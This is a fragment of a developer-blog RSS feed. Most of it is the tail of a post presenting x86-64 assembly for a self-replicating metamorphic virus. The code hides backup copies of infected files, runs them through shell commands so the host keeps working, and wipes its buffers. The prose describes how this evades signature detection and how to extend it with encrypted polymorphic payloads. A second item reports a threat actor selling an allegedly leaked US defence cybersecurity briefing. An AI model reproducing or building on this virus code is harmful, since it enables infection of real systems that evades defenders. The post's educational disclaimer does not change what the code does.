    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;list&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;vierge&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.exec_theone&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;orig_exec_name&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.orig_name_ok&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;bin_name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;basename&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;orig_exec_name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strcpy&lt;/span&gt;

&lt;span class="nl"&gt;.orig_name_ok:&lt;/span&gt;
    &lt;span class="c1"&gt;; Build hidden name for the chosen one&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;orig_exec_name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;hidden_name&lt;/span&gt;

    &lt;span class="c1"&gt;; Create touch command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;             &lt;span class="c1"&gt;; Use first half for command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;touch_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;             &lt;span class="c1"&gt;; Point to hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="nv"&gt;rintf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;system_call&lt;/span&gt;

    &lt;span class="c1"&gt;; Create chmod command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;             &lt;span class="c1"&gt;; Reuse first half for command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;touch_chmod_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;             &lt;span class="c1"&gt;; Point to hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="nv"&gt;rintf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;system_call&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;

&lt;span class="nl"&gt;.exec_theone:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;bin_name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;hidden_prefix&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strstr&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jnz&lt;/span&gt; &lt;span class="nv"&gt;.killme&lt;/span&gt;

    &lt;span class="c1"&gt;; Build hidden name and execute it&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;             &lt;span class="c1"&gt;; Use second half for hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;orig_exec_name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;hidden_name&lt;/span&gt;

    &lt;span class="c1"&gt;; Create exec command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;             &lt;span class="c1"&gt;; Use first half for command&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;exec_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;             &lt;span class="c1"&gt;; Point to hidden name&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="nv"&gt;rintf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;system_call&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;

&lt;span class="nl"&gt;.killme:&lt;/span&gt;
    &lt;span class="c1"&gt;; Clean up any leftovers&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;zero0ut&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_exit&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

&lt;span class="nl"&gt;zero0ut:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;code&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;rep&lt;/span&gt; &lt;span class="nv"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;di&lt;/span&gt;&lt;span class="nv"&gt;r_buf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;rep&lt;/span&gt; &lt;span class="nv"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;temp_buf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;rep&lt;/span&gt; &lt;span class="nv"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;read_code:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;code&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;read_f&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.error:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;extract_v:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;bin_name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;code&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;read_f&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.err_v&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;
    &lt;span class="nf"&gt;jle&lt;/span&gt; &lt;span class="nv"&gt;.size_ok&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;

&lt;span class="nl"&gt;.size_ok:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.ext_done&lt;/span&gt;

&lt;span class="nl"&gt;.err_v:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

&lt;span class="nl"&gt;.ext_done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  This Is Only the Foundation
&lt;/h3&gt;

&lt;p&gt;Its purpose is to demonstrate core mechanisms, not to claim coverage of a complete system. Metamorphic and polymorphic engines go far deeper than what is shown here. What we have now is a starting point — sufficient to prove the concept, but still far from full-spectrum capability.&lt;/p&gt;

&lt;p&gt;Currently, the mutation engine only processes its own defined junk patterns. It does not touch arbitrary instruction sequences. It also only supports basic register replacement so far. Features such as instruction reordering, control-flow rewriting, and logical substitution are absent.&lt;/p&gt;

&lt;p&gt;Mutation patterns are hard-coded. There is no adaptive behavior. Propagation logic is also kept simple.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqnxrf1y5n8gc6pv5cohf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqnxrf1y5n8gc6pv5cohf.png" alt=" " width="800" height="395"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  vx-mutation-demo
&lt;/h3&gt;

&lt;p&gt;Each generation becomes different at the byte level, yet does the same things. What changes is the &lt;em&gt;implementation&lt;/em&gt;, not the &lt;em&gt;behavior&lt;/em&gt;. This is exactly why it shatters static signatures.&lt;/p&gt;

&lt;p&gt;As the VX repeatedly reinfects, the code drifts further from its original form. The hidden backup mechanism helps it stay low-profile. The original file continues to run normally, allowing the VX to persist quietly.&lt;/p&gt;

&lt;p&gt;Of course, these capabilities come at a cost: CPU and memory consumption, and doubled storage usage due to backups.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Possibilities —
&lt;/h3&gt;

&lt;p&gt;If you want to push further, you will need a larger pattern library, smarter runtime self-analysis, clean syscall abstraction for cross-platform support, and deeper code analysis with control-flow and data-flow mapping.&lt;/p&gt;

&lt;p&gt;Combine it with polymorphism: encrypted payload + deformable code structure creates a layered system. Surface randomization, internal concealment, final behavior invariant. The adversary will find almost no stable anchor points.&lt;/p&gt;

&lt;p&gt;Metamorphic code proves that software can continuously evolve its own implementation while keeping its goals unchanged.&lt;/p&gt;

&lt;p&gt;I recommend running the code inside a debugger rather than executing it blindly. Set breakpoints and step down into the assembly layer to inspect exactly what is being generated. This is the best way to catch subtle anomalies.&lt;/p&gt;

&lt;p&gt;That’s all for now — see you next time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;:&lt;br&gt;&lt;br&gt;
This blog post is provided solely for educational and research purposes. All technical details and code examples are intended to help defenders understand attack techniques and improve security posture. Please do not use this information to access or interfere with systems you do not own or lack explicit permission to test. Unauthorized use may violate laws and ethical standards. The author assumes no responsibility for any misuse or damage resulting from the application of the concepts discussed.&lt;/p&gt;




</description>
      <category>malware</category>
      <category>algorithms</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>[Confidential] U.S. Department of Defense CMMC Cybersecurity Briefing Document Leaked on the Dark Web</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Thu, 09 Apr 2026 13:47:43 +0000</pubDate>
      <link>https://dev.to/excalibra/confidential-us-department-of-defense-cmmc-cybersecurity-briefing-document-leaked-on-the-dark-549p</link>
      <guid>https://dev.to/excalibra/confidential-us-department-of-defense-cmmc-cybersecurity-briefing-document-leaked-on-the-dark-549p</guid>
      <description>&lt;p&gt;&lt;strong&gt;[Confidential] U.S. Department of Defense CMMC Cybersecurity Briefing Document Leaked on the Dark Web&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A threat actor has claimed to be selling a U.S. Department of Defense (DoD) &lt;strong&gt;CMMC&lt;/strong&gt; cybersecurity briefing document. The document focuses on the core elements of the &lt;strong&gt;CMMC 2.0&lt;/strong&gt; framework, including its implementation processes, compliance requirements, and supporting systems. It serves as a standardized cybersecurity compliance guidance document targeted at Defense Industrial Base (DIB) contractors.&lt;/p&gt;

&lt;p&gt;This file functions both as an &lt;strong&gt;“implementation guide”&lt;/strong&gt; for CMMC 2.0 and as a &lt;strong&gt;“compliance checklist”&lt;/strong&gt; for contractors. By clearly defining processes, standards, and boundaries of responsibility, it helps drive the Defense Industrial Base from “passive defense” toward “proactive risk management.”&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Details of the leaked content are as follows:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Partial leaked data samples&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;1.1. Sample data  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn4tju867ji2zzuewgahg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn4tju867ji2zzuewgahg.png" alt=" " width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;1.2. Sample data  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc4j0om0g7c16h0kkjzso.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc4j0om0g7c16h0kkjzso.png" alt=" " width="800" height="454"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;1.3. Sample data  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F336ay5hqbzyfevh7guuj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F336ay5hqbzyfevh7guuj.png" alt=" " width="800" height="432"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;1.4. Sample data&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnuu6wbg5d808ldh130gq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnuu6wbg5d808ldh130gq.png" alt=" " width="800" height="446"&gt;&lt;/a&gt;&lt;/p&gt;




</description>
      <category>leaked</category>
      <category>cybersecurity</category>
      <category>documentation</category>
      <category>darkweb</category>
    </item>
  </channel>
</rss>
